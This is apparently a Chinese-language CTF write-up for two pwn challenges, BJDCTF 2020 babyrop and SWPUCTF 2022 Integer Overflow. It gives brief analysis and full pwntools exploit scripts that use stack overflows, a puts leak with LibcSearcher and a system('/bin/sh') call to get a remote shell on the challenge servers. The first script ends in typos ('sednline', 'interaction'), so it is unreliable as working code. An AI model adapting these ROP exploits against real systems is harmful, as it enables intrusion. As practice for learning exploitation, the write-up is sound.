NSSCTF(PWN)12

[BJDCTF 2020]babyrop

查看发现是64位文件

main函数中发现vuln，双击进入

涉及了栈溢出

且这道题是没有system和binsh的

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node4.anna.nssctf.cn','28025')
elf = ELF('/home/xp/tm/bin/n')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = elf.sym['vuln']
ret = 0x4004c9
rdi = 0x400733
padding = b'a'*(0x20+0x8)
io.recvuntil(b'story!')
payload = padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
io.sendline(payload)
put=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(put))
libc = LibcSearcher('puts',put)
base = put - libc.dump('puts')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
payload1 = padding + p64(ret) + p64(rdi) + p64(binsh) + p64(sys)
io.sednline(payload1)
io.interaction()

[SWPUCTF 2022 新生赛]Integer Overflow

发现是32位文件

查看main函数，发现overflow双击进入

要输入1进入choice1

输入的不能大于10，并且涉及了栈溢出

发现了system和binsh

exp：

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','20612')
system = 0x80494fb
binsh = 0x804A008
io.recvuntil(b'choice:')
io.sendline(str(1))
io.recvuntil(b'name:')
io.sendline(str(-1))
padding = b'a'*(0x20+0x4)
io.recvuntil(b'name?')
payload = padding + p32(system)  + p32(binsh)
io.sendline(payload)
io.interactive()